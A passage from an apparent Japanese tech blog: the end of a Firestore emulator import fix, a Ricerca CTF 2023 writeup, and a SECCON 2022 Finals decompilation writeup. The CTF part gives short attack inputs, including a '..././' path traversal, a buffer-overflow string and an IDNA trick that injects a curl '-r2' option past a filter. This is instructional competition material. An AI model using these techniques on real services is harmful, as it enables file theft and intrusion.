at com.google.cloud.datastore.emulator.firestore.CloudFirestore.startLocally(CloudFirestore.java:115)
at com.google.cloud.datastore.emulator.firestore.CloudFirestore.main(CloudFirestore.java:96)
Caused by: com.google.protobuf.InvalidProtocolBufferException: Message missing required fields: kind_info[0].kind
at com.google.protobuf.UninitializedMessageException.asInvalidProtocolBufferException(UninitializedMessageException.java:79)
at com.google.protobuf.AbstractParser.checkMessageInitialized(AbstractParser.java:73)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:91)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:96)
at com.google.protobuf.AbstractParser.parseFrom(AbstractParser.java:48)
at com.google.cloud.datastore.util.leveldb.ExportImportUtil.parseBackupFile(ExportImportUtil.java:376)
... 4 more

対処方法

github.com

対処は簡単、このリポジトリから以下のコマンドを実行するだけです。あとは通常通りエミュレータにインポートすればそのまま起動します。

poetry install
poetry run python workaround.py <export_dir>

せっかくなので、原因の詳細を書いておきます。まず、エクスポートされたディレクトリは以下のような構造になっています。そもそもFirestoreのデータの内部構造としては一部はProtocol Bufferで、そのほかはLevelDBのlog formatの形式で保存されています。

2023-10-21T10:49:07_61766
├── 2023-10-21T10:49:07_61766.overall_export_metadata
└── all_namespaces
    └── all_kinds
        ├── all_namespaces_all_kinds.export_metadata
        └── output-0

all_namespaces_all_kinds.export_metadataは単にProtocol Bufferでシリアライズされたデータなのでprotocコマンドでダンプできます。

% protoc --decode_raw < 2023-10-21T10:49:07_61766/all_namespaces/all_kinds/all_namespaces_all_kinds.export_metadata
1 {
  1: "2023-10-21T10:49:07_61766"
  2: 1697885347297211
}
2 {
  2: "output-0"
  5: 1004733923
}

ただ、これだけだとフィールド番号だけなのでなんとなくの構造しかわかりません。Firebaseエミュレータのjarの中にはProtocol Bufferのdescriptor dataが含まれているので、それを利用して.protoの定義を生成して*1フィールド名を復元するとこのようになっています。

backup_info {
  backup_name: "2023-10-21T10:49:07_61766"
  start_timestamp: 1697885347297211
}
kind_info {
  file: "output-0"
}

エミュレータにインポートできていた過去のデータを確認してみると、以下のようにbackup_info.start_timestamp, kind_info.kind, kind_info.entity_schema.kindのフィールドが存在していました。

backup_info {
  backup_name: "2023-10-21T10:49:07_61766"
  start_timestamp: 1697885347297211
  end_timestamp: ...
}
kind_info {
  kind: "__all__"
  file: "output-0"
  entity_schema {
    kind: "__all__"
  }
}

Message missing required fields: kind_info[0].kindというエラーメッセージからも明らかにこのフィールドがないことからインポートできなくなってしまってことがわかります。

つまりは消えてしまったフィールドを無理矢理足してしまえばエミュレータにインポートできることにはなります。なんとなくend_timestampがないという状況を察すると、インポート処理が正しく終了状態になっていないバグのような気がしているのですが、これは後ほどバグ報告をしようと思います(ただ、そもそもエミュレータにはインポートできないという仕様であったりすると悲しいのですが)。

*1:.protoの形式になっているとそもそも読みやすい、かつ言語ごとにコード生成ができるのが便利です。いいかんじに戻すツールを自作していたのですが紹介はまたの機会に……

Ricera CTF 2023 writeup

2023/4/22に行なわれたRicerca CTF 2023にdodododoで参加して、2位でした。

dodododoでは普段CTFに参加するときは、Google Docsにドキュメントを用意しておき、どの問題を解こうとしているかなどの進捗状況を共有できるようにしています。大したものはないのですが、せっかくなので中身を晒しつつ、writeupを書いていきます。

解いた問題

crackme

Google Docsの内容:

[solved] crackme
RicSec{U_R_h1y0k0_cr4ck3r!}

何も詳細は書いていません。warmup問題のようなやるだけの問題はflagを書いて終わっています。

N1pp0n-Ich!_s3cuR3_p45$w0rDとstrcmpしている部分を見かけたので、そのまま求められるパスワードとして入力したところ、flagが出力されました。

Cat Cafe

Google Docsの内容:

[solved] Cat Cafe
/img?f=..././flag.txt

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

.replace("../", "")../を置き換えるようになっていますが、再帰的な置換ではないので...././../になるというものです。

BOFSec

Google Docsの内容:

[solved] BOFSec
b'A' * 0x101 + b'\n'

RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

これもwarmup問題なので、かなり簡略に書いています。そのまま送信するだけです。

tinyDB

Google Docsの内容:

[solved] tinyDB
clearするタイミングでadmin自体のパスワードが********************************になる

RicSec{j4v45cr1p7_15_7000000000000_d1f1cul7}

デバッグの際に適当にconsole.logを仕込んでいると、userDB.sizeが10より大きくなったときに走る処理によって、adminのパスワードが********************************になることに気づきました。以下のコードを読んだときは単にレスポンスの内容にだけ影響するものと思っていましたが、Mapのkeyとしているauthの参照自体を書き換えているのでそのまま書き換えられてしまいますね。

  let auth = {
    username: username ?? "admin",
    password: password ?? randStr(),
  };
  if (!userDB.has(auth)) {
    userDB.set(auth, "guest");
  }

  if (userDB.size > 10) {
    // Too many users, clear the database
    auth.username = "admin";
    auth.password = getAdminPW();
    userDB.set(auth, "admin");
    auth.password = "*".repeat(auth.password.length);
  }

こういうタイプの問題は手元で動かしたらすぐにわかってしまうという意味で、package.jsonなど実際に動かすのに必要なファイルを配布していないのだろうと思うのですが、とはいえこれが本質ではないとは思うので他の問題のように、Dockerなりですぐ動く状態のものを配布してもらいたいところです……

NEMU

Google Docsの内容:

[solved] NEMU
reg自体の元々のサイズはint32_tだけど各命令ではuint64_tで読み書きするので4バイト分はみでるというバグ

https://gist.github.com/akiym/a4b816c93c3b201cca4ed35368e6f6e4

RicSec{me0w_i_am_n3mu_n3mu_c4tt0}

上に書いてあるバグを利用することで、add命令の先頭のコードを書き換えることができます。ただし、書き換えられるのは一部なので任意のコードを実行できるようにするにはバイト数が足りません。

スタック上にはacc, r3, r2と12バイト分並んだ、自由に操作できる部分があるのでそれらに対してシェルコードを読み込むstagerを仕込んでおきます。あとは書き換えたadd命令からその部分へジャンプすることで、自由にシェルコードを実行できるようになります。

tic tac toe?

Google Docsの内容:

[solved] tic tac toe?
いろいろ崩壊してるマルバツゲーム

  | a | b | c |
--|---|---|---|
1 | 0 | 3 | 6 |
--|---|---|---|
2 | 1 | 4 | 7 |
--|---|---|---|
3 | 2 | 5 | 8 |
--|---|---|---|

盤面からfork-exitでexitcodeとして何か計算してチェックしてるっぽい

https://gist.github.com/akiym/037b9347ff6e43f17ca373daf730a728
mainから0x1590のところはこういうかんじだと思ったのだけどunsat

RicSec{t1c_t4c_t03_1s_3x1t1ng_g4m3}

前半部分はチームメンバーが書いていて、後半のgistのURLを貼っているところから自分が書いています。

gistのrevisionsを見ると、最初は解析した結果をz3のスクリプトに落とし込んでいるところが間違っています。途中でexit codeって8bitだな、とか細かいミスに気づいて直したところsatだったので、flagを求める処理に突っ込んで終わりです。

funnylfi

Google Docsの内容:

[solved] funnylfi
f!ile:// みたいなかんじでscheme_detectorはbypassできるけど、RicSecのWAFがある

gopher protocol + uwsgiで何かと思ったけど、_が消されてしまうのでUWSGI_FILEを作れない
というか%が使えないんだった

?url=˚f!ile://«/var/www/flag˚

競技時間もほぼ終盤になった頃、チームメンバーから˚を使うとコマンド内にスペースを含められることを教えてもらいました。レスポンス中にRicSecが含まれると怒られる(flagはRicSec{...}という形式なので、flagをそのまま出力できない)ので、解法的にはRangeのリクエストだろうと推測して、curl-rオプションを使う方法はないかを探しました。

curl-rオプションは通常であれば-r 0-100のように使いますが、-r0とした場合でもwarningは出るものの-r0-と同様に動くことがわかります。つまり、引数の中に-r2のようにオプションを指定することができれば、RicSecが含まれる先頭部分を捨ててflagを出力させることができるはずです。

色々試したところ、b'xn-- file:///var/www/flag -r2a'.decode('idna')の結果が' file://«/var/www/flag 'だったので、˚f!ile://«/var/www/flag˚を入力したところb'xn-- file:///var/www/flag -r2a476lwa'と変換され、無事に-r2が指定できました。

SECCON CTF 2022 Finals - Heptarchy writeup

SECCON CTF 2022の国内決勝にチームAERO SANITYで参加して、4位でした。

以前はチームdodododoとして参加していたのですが、チームメンバーの半数(1人)がCTF運営側になってしまったので、今回は会社の同僚を誘ってやってきました。

Heptarchy

様々な言語のバイナリを手でデコンパイルして、どれだけ本来のソースコードに似ているかを競う、King of the Hillの問題です。

提出したソースコードは5分毎に評価され、チームのなかで最もバイナリのdiffスコア(何かのアルゴリズムをベースにしているとのことですがブラックボックス)が少なかったチームへの得点比重が大きくなるようにポイントが加算されます(1位なら20点、2位なら18点といったもの)。

問題自体は、1時間ごとに以下の言語のバイナリが合計7問出題されました。

基本的な方針としては、未提出だと0点なので最初に空のmain関数でもよいので提出しておいて得点を稼ぐ、そしてとにかく早くデコンパイルするということです(1言語につき12回しか評価されない)。

C

ひとまずIDA Proでデコンパイルした結果を適当に貼り付け、ほぼそのまま提出しました。即座に分かるようなところに関しては修正できたのですが、細かいところは適当のままです。

最終順位: 4, diff: 920

#include <stdio.h>
#include <stdlib.h>

typedef long int __int64;

typedef unsigned char _BYTE;
typedef unsigned long long _QWORD;

__int64 myers_diff(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 result; // rax
  _QWORD *v7; // [rsp+20h] [rbp-30h]
  __int64 v8; // [rsp+28h] [rbp-28h]
  __int64 j; // [rsp+30h] [rbp-20h]
  __int64 i; // [rsp+38h] [rbp-18h]
  __int64 k; // [rsp+40h] [rbp-10h]
  __int64 v12; // [rsp+48h] [rbp-8h]

  if ( a2 > 0x3FFFFFFFFFFFFFFELL || a4 > 0x3FFFFFFFFFFFFFFELL )
    __assert_fail("sa < LONG_MAX/2 && sb < LONG_MAX/2", "/tmp/main.c", 9u, "myers_diff");
  v8 = a2 + a4;
  if ( (unsigned long long)(a2 + a4) > 0x7FFFFFFFFFFFFFELL )
//  if ( (unsigned __int64)(a2 + a4) > 0x7FFFFFFFFFFFFFELL )
    __assert_fail("max < (LONG_MAX/2-1)/sizeof(ssize_t)", "/tmp/main.c", 0xBu, "myers_diff");
  v7 = calloc(2 * v8 + 1, 8uLL);
  for ( i = 0LL; ; ++i )
  {
    result = i;
    if ( i > v8 )
      break;
    for ( j = -i; j <= i; j += 2LL )
    {
      if ( j != -i && (j == i || v7[v8 - 1 + j] >= v7[v8 + 1 + j]) )
        v12 = v7[v8 - 1 + j] + 1LL;
      else
        v12 = v7[v8 + 1 + j];
      for ( k = v12 - j; v12 < a2 && k <= a4 && *(_BYTE *)(v12 + a1) == *(_BYTE *)(k + a3); ++k )
        ++v12;
      v7[v8 + j] = v12;
      if ( v12 >= a2 && k >= a4 )
        return i;
    }
  }
  return result;
}

__int64 get_size(FILE *a1)
{
  __int64 v2; // [rsp+18h] [rbp-8h]

  fseek(a1, 0LL, 2);
  v2 = ftell(a1);
  fseek(a1, 0LL, 0);
  return v2;
}

int main(int argc, const char **argv)
{
  __int64 v4; // rax
  void *v5; // [rsp+10h] [rbp-30h]
  void *ptr; // [rsp+18h] [rbp-28h]
  __int64 n; // [rsp+20h] [rbp-20h]
  __int64 size; // [rsp+28h] [rbp-18h]
  FILE *v9; // [rsp+30h] [rbp-10h]
  FILE *stream; // [rsp+38h] [rbp-8h]

    if ( argc <= 2 )
  {
    printf("Usage: %s <file1> <file2>\n", *argv);
    return 1;
  }
  else
  {
    stream = fopen(argv[1], "r");
    if ( stream )
    {
      v9 = fopen(argv[2], "r");
      if ( v9 )
      {
        size = get_size(stream);
        n = get_size(v9);
        ptr = malloc(size);
        if ( ptr )
        {
          v5 = malloc(n);
          if ( fread(ptr, 1uLL, size, stream) == size && fread(v5, 1uLL, n, v9) == n )
          {
            v4 = myers_diff(ptr, size, v5, n);
            printf("%ld", v4);
          }
          free(v5);
          free(ptr);
          fclose(v9);
          fclose(stream);
          return 0;
        }
        else
        {
          fclose(v9);
          fclose(stream);
          return 1;
        }
      }
      else
      {
        perror(argv[2]);
        fclose(stream);
        return 1;
      }
    }
    else
    {
      perror(argv[1]);
      return 1;
    }
  }
}

C++

それっぽく戻します。IDA Proでデコンパイルした結果をそのままコンパイルできるかんじではないので、流用しつつも丁寧にclassなどに戻していきます。実は手動デコンパイルが適当で、動かすとsegmentation faultで落ちます。

最終順位: 1, diff: 3528

#include <iomanip>
#include <iostream>
#include <string>
#include <vector>

typedef long long __int64;

typedef unsigned char _BYTE;
typedef unsigned long long _QWORD;

class RC4 {
    std::vector<unsigned char> a1;
public:
    RC4(std::string const &a2) {
      unsigned char *result; // rax
      char v3; // r12
      unsigned long long v4; // rax
      __int64 v5; // rbx
      __int64 v6; // rax
      int j; // [rsp+14h] [rbp-1Ch]
      int i; // [rsp+18h] [rbp-18h]
      unsigned char v9; // [rsp+1Fh] [rbp-11h]

      std::vector<unsigned char>(a1);
      a1.resize(256);
      for ( i = 0; i <= 255; ++i )
      {
        result = &a1[i];
        *result = i;
      }
      v9 = 0;
      for ( j = 0; j <= 255; ++j )
      {
        v3 = a1[j];
        v4 = a2.size();
        v9 += v3 + a2[j%v4];
        v5 = a1.at(v9);
        v6 = a1.at(j);
        std::swap(v6, v5);
      }
    }
    unsigned char* encrypt(std::string const &a2) {
      unsigned long long v2; // rax
      __int64 v3; // rbx
      __int64 v4; // rax
      char v5; // r12
      _BYTE v6; // rax
      unsigned char *v8; // [rsp+10h] [rbp-20h]
      int i; // [rsp+18h] [rbp-18h]
      unsigned char v10; // [rsp+1Eh] [rbp-12h]
      unsigned char v11; // [rsp+1Fh] [rbp-11h]

      v11 = 0;
      v10 = 0;
      v2 = a2.size();
      v8 = new unsigned char[v2];
      for ( i = 0; i < a2.size(); ++i )
      {
        v10 += a1[++v11];
        v3 = a1.at(v10);
        v4 = a1.at(v11);
        std::swap(v4, v3);
        v5 = a1[v11];
        v6 = a1[v10];
        v3 = a1[v5 + v6];
        v8[i] = a2[i] ^ v3;
      }
      return v8;
    }
};

int main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rbx
  unsigned int v5; // eax
  unsigned int v6; // eax
  __int64 v7; // rax
  unsigned long long v8; // rbx
  RC4 *v10; // [rsp+0h] [rbp-80h] BYREF
  unsigned char *v13; // [rsp+60h] [rbp-20h]
  int i; // [rsp+6Ch] [rbp-14h]

  std::string v12;
  std::string v11;
  std::cout << "Key: ";
  std::cin >> v12;
  std::cout << "Plaintext: ";
  std::cin >> v11;
  v10 = new RC4(v12);
  std::cout << "Ciphertext: " << std::hex << std::setfill('0');
  v13 = v10->encrypt(v11);
  for ( i = 0; ; ++i )
  {
    v8 = i;
    if ( v8 >= v11.size() )
      break;
    std::cout << std::setw(2) << v13[i];
  }
  std::cout << std::endl;
  if ( v13 )
      delete v13;
  return 0;
}

Rust

まったく同じコードを想像するのが難しいので動かしたときの挙動を把握しつつ、それっぽく書きました。

最終順位: 1, diff: 14342

use std::io;
use std::io::Write;

fn get_player_hand(u: i32) -> i32 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", u);
    io::stdout().flush().unwrap();
    let mut x = String::new();
    io::stdin().read_line(&mut x)
        .expect("I/O error");

    let y = x.trim().to_lowercase();
    match &*y {
        "rock" => 0,
        "paper" => 1,
        "scissors" => 2,
        _ => panic!("Invalid hand")
    }
}

fn main() {
    let p1 = get_player_hand(1);
    let p2 = get_player_hand(2);
    let x = (p1 - p2).rem_euclid(3);

    let display = match x {
        0 => "Draw!",
        1 => "Player 1 wins!",
        2 => "Player 2 wins!",
        _ => "Invalid hand"
    };
    println!("{}", display)
}

Go

channelやgoroutineを使ったコードであり、アセンブリを読むのが大変な部類なのですが、デバッグメッセージもあり、難易度としてはかなり優しくなっています。 ある程度ほぼ同じだろうというコードは書けたのですが、その時点で他チームはもっとよいスコアを叩き出していました……

最終順位: 3, diff: 11716

package main

import (
    "fmt"
    "os"
)

var counter int

func shrinker(c chan int, quit chan int) {
    var elem int
    for ;; {
        elem = 0
        elem = <-c
        if elem == 1 {
            break
        }
        if (elem & 1) == 0 {
            counter++
            elem /= 2
        }
        c <- elem
    }
    quit <- 0
}

func expander(c chan int, quit chan int) {
    var elem int
    for ;; {
         elem = 0
         elem = <-c
         if elem == 1 {
             break
         }
         if (elem & 1) != 0 {
             counter++
             elem = 3 * elem + 1
         }
         c <- elem
    }
    quit <- 0
}

func main() {
    var number int
    fmt.Fprint(os.Stdout, "Number: ")
    fmt.Fscan(os.Stdin, &number)
    if number <= 0 {
        fmt.Fprintln(os.Stdout, "Invalid number")
        return
    }
    fmt.Fprintln(os.Stdout, "[DEBUG] quit := make(chan int)")
    quit := make(chan int)
    fmt.Fprintln(os.Stdout, "[DEBUG] c := make(chan int)")
    c := make(chan int)
    fmt.Fprintln(os.Stdout, "[DEBUG] go shrinker(c, quit)")
    go shrinker(c, quit)
    fmt.Fprintln(os.Stdout, "[DEBUG] go expander(c, quit)")
    go expander(c, quit)

    c <- number
    <-quit

    fmt.Fprintln(os.Stdout, counter)
}

Python

pycを読みたくなかったのでuncompyle6などを試そうとするものの、python自体のバージョンが3.12.0a3であり、おそらく対応していません(この状況、何度もCTFで見ます)。バイトコードを読むのが嫌でどうにか試していたのですが、それっぽいのが書けず苦戦していました。 かなり後半のほうにpycのバイナリ自体をpythonから呼んでしまえば、バイナリ自体のdiffは少なくまったく同じ挙動にできることに気がつきました。

最終順位: 3, diff: 274

src=b'\xb8\r\r\n\x00\x00\x00\x00\xd3b\xd3c\xf2\x03\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xf3\x92\x01\x00\x00\x97\x00d\x00d\x01l\x00Z\x00d\rd\x02\x84\x01Z\x01d\x03\x84\x00Z\x02e\x03d\x04k\x02\x00\x00\x00\x00r\xb5\x02\x00e\x02d\x05\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00Z\x04\x02\x00e\x02d\x05\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00Z\x05\x02\x00e\x02d\x05\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00Z\x06e\x04e\x05z\x05\x00\x00e\x06z\x05\x00\x00Z\x07d\x06Z\x08e\tj\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00e\x0bd\x07\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00j\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x08\xab\x02\x00\x00\x00\x00\x00\x00\x00\x00Z\re\re\x07k\x04\x00\x00\x00\x00r\x12\x02\x00e\x0ed\t\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00e\x0fd\n\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x00e\x10e\re\x08e\x07\xab\x03\x00\x00\x00\x00\x00\x00\x00\x00Z\x11\x02\x00e\x0ed\x0b\x02\x00e\x12e\x11\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x00\x9d\x02\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00e\x04d\nz\n\x00\x00e\x05d\nz\n\x00\x00z\x05\x00\x00e\x06d\nz\n\x00\x00z\x05\x00\x00Z\x13\x02\x00e\x10e\x08d\x0ce\x13\xab\x03\x00\x00\x00\x00\x00\x00\x00\x00Z\x14\x02\x00e\x10e\x11e\x14e\x07\xab\x03\x00\x00\x00\x00\x00\x00\x00\x00Z\x15e\re\x15k\x02\x00\x00\x00\x00s\x02J\x00\x82\x01d\x01S\x00d\x01S\x00)\x0e\xe9\x00\x00\x00\x00Nc\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x03\x00\x00\x00\xf3l\x01\x00\x00\x97\x00|\x00d\x01k\x02\x00\x00\x00\x00s\x06|\x00d\x02k\x02\x00\x00\x00\x00r\x02d\x03S\x00|\x00d\x04z\x01\x00\x00d\x05k\x02\x00\x00\x00\x00r\x02d\x06S\x00d\x05|\x00d\x04z\n\x00\x00}\x03}\x02|\x03d\x04z\x01\x00\x00d\x05k\x02\x00\x00\x00\x00r\x14|\x03d\x04z\x16\x00\x00}\x03|\x02d\x04z\r\x00\x00}\x02|\x03d\x04z\x01\x00\x00d\x05k\x02\x00\x00\x00\x00r\x01\x8c\x14t\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x01\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00D\x00]f\x00\x00}\x04t\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x01|\x00d\x04z\n\x00\x00\xab\x02\x00\x00\x00\x00\x00\x00\x00\x00}\x05t\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x05|\x03|\x00\xab\x03\x00\x00\x00\x00\x00\x00\x00\x00}\x06|\x06d\x04k\x02\x00\x00\x00\x00s\t|\x00|\x06z\n\x00\x00d\x04k\x02\x00\x00\x00\x00r\x01\x8c=t\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x02d\x04z\n\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00D\x00]\x15\x00\x00}\x04|\x06|\x06z\x05\x00\x00|\x00z\x06\x00\x00}\x06|\x00|\x06z\n\x00\x00d\x04k\x02\x00\x00\x00\x00s\x01\x8c\x15\x01\x00\x8cd\x04\x00\x01\x00d\x06S\x00\x04\x00d\x03S\x00)\x07N\xe9\x02\x00\x00\x00\xe9\x03\x00\x00\x00T\xe9\x01\x00\x00\x00r\x02\x00\x00\x00F)\x04\xda\x05range\xda\x06random\xda\trandrange\xda\x03pow)\x07\xda\x01n\xda\x01k\xda\x01r\xda\x01s\xda\x01_\xda\x01a\xda\x01xs\x07\x00\x00\x00       \xfa\x0c/tmp/main.py\xda\x07isPrimer\x13\x00\x00\x00\x03\x00\x00\x00s\x07\x01\x00\x00\x80\x00\xd8\x07\x08\x88A\x82v\x80v\x90\x11\x90a\x92\x16\x90\x16\xd8\x0f\x13\x88t\xd8\t\n\x88Q\x89\x15\x90!\x8a\x1a\x88\x1a\xd8\x0f\x14\x88u\xe0\x0b\x0c\x88a\x90\x01\x89c\x80q\x80A\xd8\n\x0b\x88a\x89%\x901\x8a*\x88*\xd8\x08\t\x88a\x89\x07\x88\x01\xd8\x08\t\x88Q\x89\x06\x88\x01\xf0\x05\x00\x0b\x0c\x88a\x89%\x901\x8a*\x88*\xf8\xf5\x08\x00\x0e\x13\x901\x8cX\xf0\x00\n\x05\x19\xf1\x00\n\x05\x19\x88\x01\xdd\x0c\x12\xd7\x0c\x1c\xd1\x0c\x1c\x98Q\xa0\x01\xa0!\xa1\x03\xd4\x0c$\x88\x01\xdd\x0c\x0f\x90\x01\x901\x90a\x8cL\x88\x01\xd8\x0b\x0c\x90\x01\x8a6\x886\x90Q\x98\x11\x91U\x98a\x92Z\x90Z\xd8\x0c\x14\xdd\x11\x16\x90q\x98\x11\x91s\x94\x1a\xf0\x00\x05\t\x19\xf1\x00\x05\t\x19\x88A\xd8\x10\x11\x90A\x91\x05\x98\x01\x91\t\x88A\xd8\x0f\x10\x901\x89u\x98\x01\x8az\x88z\xf8\xd8\x10\x15\x90\x05\xf0\x07\x05\t\x19\xf0\n\x00\x14\x19\x905\x905\xf0\x15\n\x05\x19\xf0\x18\x00\x0c\x10\x884\xf3\x00\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x03\x00\x00\x00\xf3f\x00\x00\x00\x97\x00\t\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x01|\x00z\x03\x00\x00d\x01|\x00d\x01z\x00\x00\x00z\x03\x00\x00\xab\x02\x00\x00\x00\x00\x00\x00\x00\x00}\x01t\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x01\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00r\x02|\x01S\x00\x8c1)\x02Nr\x06\x00\x00\x00)\x03r\x08\x00\x00\x00r\t\x00\x00\x00r\x13\x00\x00\x00)\x02\xda\x04bits\xda\x01ps\x02\x00\x00\x00  r\x12\x00\x00\x00\xda\x08getPrimer\x18\x00\x00\x00\x1c\x00\x00\x00s6\x00\x00\x00\x80\x00\xd8\n\x0e\xdd\x0c\x12\xd7\x0c\x1c\xd1\x0c\x1c\x98Q\xa0\x04\x99W\xa0a\xa8$\xa8q\xa9&\xa1k\xd4\x0c2\x88\x01\xdd\x0b\x12\x901\x8c:\x88:\xd8\x13\x14\x88H\xf0\x07\x00\x0b\x0fr\x14\x00\x00\x00\xda\x08__main__\xe9\x00\x01\x00\x00i\x01\x00\x01\x00z\x06Text: \xda\x03bigz\x08Too longr\x06\x00\x00\x00z\x08Cipher: \xe9\xff\xff\xff\xff)\x01\xe9\n\x00\x00\x00)\x16r\x08\x00\x00\x00r\x13\x00\x00\x00r\x18\x00\x00\x00\xda\x08__name__r\x17\x00\x00\x00\xda\x01qr\r\x00\x00\x00r\x0b\x00\x00\x00\xda\x01e\xda\x03int\xda\nfrom_bytes\xda\x05input\xda\x06encode\xda\x01m\xda\x05print\xda\x04exitr\n\x00\x00\x00\xda\x01c\xda\x03hex\xda\x03phi\xda\x01d\xda\x02mm\xa9\x00r\x14\x00\x00\x00r\x12\x00\x00\x00\xfa\x08<module>r.\x00\x00\x00\x01\x00\x00\x00s-\x01\x00\x00\xf0\x03\x01\x01\x01\xd8\x00\r\x80\r\x80\r\x80\r\xf0\x04\x17\x01\x10\xf0\x00\x17\x01\x10\xf0\x00\x17\x01\x10\xf0\x00\x17\x01\x10\xf02\x04\x01\x15\xf0\x00\x04\x01\x15\xf0\x00\x04\x01\x15\xf0\x0c\x00\x04\x0c\x88z\xd2\x03\x19\xd0\x03\x19\xd8\x08\x10\x88\x08\x90\x13\x8c\r\x80A\xd8\x08\x10\x88\x08\x90\x13\x8c\r\x80A\xd8\x08\x10\x88\x08\x90\x13\x8c\r\x80A\xd8\x08\t\x88!\x89\x03\x88A\x89\x05\x80A\xd8\x08\r\x80A\xd8\x08\x0b\x8f\x0e\x89\x0e\x90u\x90u\x98X\x94\x7f\xd7\x17-\xd1\x17-\xd4\x17/\xb0\x15\xd4\x087\x80A\xd8\x07\x08\x881\x82u\x80u\xd8\x08\r\x88\x05\x88j\xd4\x08\x19\xd0\x08\x19\xd8\x08\x0c\x88\x04\x88Q\x8c\x07\x88\x07\xe0\x08\x0b\x88\x03\x88A\x88q\x90!\x8c\x0c\x80A\xd8\x04\t\x80E\xd0\n\x1d\x90S\x90S\x98\x11\x94V\xd0\n\x1d\xd0\n\x1d\xd4\x04\x1e\xd0\x04\x1e\xe0\x0b\x0c\x88Q\x893\x90\x11\x901\x91\x13\x89+\x90q\x98\x11\x91s\xd1\n\x1b\x80C\xd8\x08\x0b\x88\x03\x88A\x88r\x903\x8c\x0f\x80A\xd8\t\x0c\x88\x13\x88Q\x90\x01\x901\x8c\x1c\x80B\xe0\x0b\x0c\x90\x02\x8a7\x887\x80N\x80N\x887\x887\xf0%\x00\x04\x1a\xd0\x03\x19r\x14\x00\x00\x00'
import marshal
exec(marshal.loads(src[16:]))

D

パスワードを入力し"Make D-lang Great Again!"と比較するというプログラムの動作は理解できるのですが、そもそも空のmain関数を提出しても0点のままであり、他のチームも同じように0点続きだったので何かしらの罠があったのだと思います。

ptraceの有無やパスワードの正解不正解の挙動が正しくないと問答無用で0点にするのでは、という罠が用意されているような予想をして色々試していたのですが、挙動自体を同じように実装したとしても0点のままでわからず、途中で諦めました……

最終順位: 5, diff: 9999999999

import std.stdio;
import std.string;
import core.stdc.stdlib;
import std.algorithm;

extern(C) long ptrace(int a, int b, int c, int d);

bool check_password(string password)
{
    return false;
}

void main()
{
    if (ptrace(0, 0, 1, 0)) {
        exit(1);
    }
    write("Password: ");
    string password = strip(readln('\n'));
    if (check_password(password)) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

wasm

emscriptenでwasmに変換されたcのコードを直します。 実際にコンパイルされる際には、-O1の最適化が効いており、中身がほぼない関数などはインライン展開されてしまい、元のバイナリに比べると大きなdiffが発生してしまうので、関数に__attribute__ ((noinline))をつけてあげるとインライン展開を抑制するのがポイントです。この状態でmain関数とほぼ空のbruteforce関数だけ実装すればdiffがかなり小さくなりました。

また、wasmを読む際には拙作のidawasm2を使いました。そもそも簡素なプログラムであるため、そこまで活躍はしませんでしたが、便利です。(ちなみにpython 3.10では使えないので、手元ではidapythonrc.pyでpython 3.9を使うように変更して無理矢理使っています)

最終順位: 1, diff: 518

#include <stdio.h>
#include <stdlib.h>

__attribute__ ((noinline)) int bruteforce(char *nums) {
    nums[0] = 6;
    nums[1] = 9;
    nums[2] = 6;
    nums[3] = 3;
    return 1;
}

int main() {
    char *nums = malloc(4);
    puts("[+] Computing...");
    if (bruteforce(nums)) {
        printf("Hit: %d%d%d%d\n", nums[0], nums[1], nums[2], nums[3]);
    }
    puts("[+] Done.");
    free(nums);
    return 0;
}

まとめ

ある処理系の吐くバイナリ自体を読んだことないときには、言語を書きながら吐かれるアセンブリも一緒に読むということはたまにやりますが、実際にちゃんと手動でデコンパイルまでやることはなく、なんとなくこういうコードなんだろうなと思っていたアセンブリがこうだったのか、と理解できたのは面白い体験でした。

ただ、1時間に1言語出題されるというのが忙しすぎるという印象はありました。 そもそもがスピード勝負であり、ある程度デコンパイルできて形になってくるのは結局30分後くらいで、微調整していくも時間は溶け、次の言語のための準備もしないといけないというのがかなり重労働でした。 とはいえ、全体としては一人勝ち状態にならないようにうまくKoHのバランスが取れていたのもあり(例年のSECCONであれば、最初に解いたチームがほぼ独占してポイントを稼ぐのが恒例だった)、かなりよい問題だったと思いました。

運営の皆さん、参加者の皆さんお疲れ様でした。来年も期待しています。

IDA Proで独自VM問を読む

